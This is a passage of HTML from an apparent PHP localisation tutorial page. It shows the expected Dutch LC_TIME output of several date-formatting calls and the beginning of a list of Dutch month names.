</td></tr>
</tbody></table>
</div>
</div>
<div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin-bottom: 1.6em; margin-top: 1.6em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
If your setup is fully operational it should display the following LC_TIME translations:</div>
<div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<div class="syntaxhighlighter plain" id="highlighter_267765" style="background-color: white !important; border: 0px; font-family: inherit; font-size: 1em !important; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 1em 0px !important; overflow-x: auto !important; overflow-y: hidden !important; padding: 0px; position: relative !important; vertical-align: baseline; width: 918px;">
<table border="0" cellpadding="0" cellspacing="0" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-collapse: collapse; border-spacing: 0px; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: 918px;"><tbody style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">
<tr style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"><td class="gutter" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: rgb(175, 175, 175) !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"><div class="line number1 index0 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
1</div>
<div class="line number2 index1 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
2</div>
<div class="line number3 index2 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
3</div>
<div class="line number4 index3 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
4</div>
<div class="line number5 index4 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
5</div>
<div class="line number6 index5 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
6</div>
<div class="line number7 index6 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
7</div>
<div class="line number8 index7 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
8</div>
<div class="line number9 index8 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
9</div>
<div class="line number10 index9 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
10</div>
<div class="line number11 index10 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
11</div>
<div class="line number12 index11 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
12</div>
<div class="line number13 index12 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
13</div>
<div class="line number14 index13 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
14</div>
<div class="line number15 index14 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
15</div>
<div class="line number16 index15 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
16</div>
<div class="line number17 index16 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
17</div>
<div class="line number18 index17 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
18</div>
<div class="line number19 index18 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
19</div>
<div class="line number20 index19 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
20</div>
</td><td class="code" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: 878px;"><div class="container" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: relative !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">
<div class="line number1 index0 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">Timestamp = 1292417839</code></div>
<div class="line number2 index1 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">Timestring = 2010-12-15 13:57:19</code></div>
<div class="line number3 index2 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">strftime() translated = Wednesday 15 December 2010</code></div>
<div class="line number4 index3 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">i18nFormat translated = woensdag 15 december 2010</code></div>
<div class="line number5 index4 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">Time::format translated = woensdag 15 december 2010</code></div>
<div class="line number6 index5 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">Array</code></div>
<div class="line number7 index6 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">(</code></div>
<div class="line number8 index7 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">[0] => januari</code></div>
<div class="line number9 index8 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">[1] => februari</code></div>
<div class="line number10 index9 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
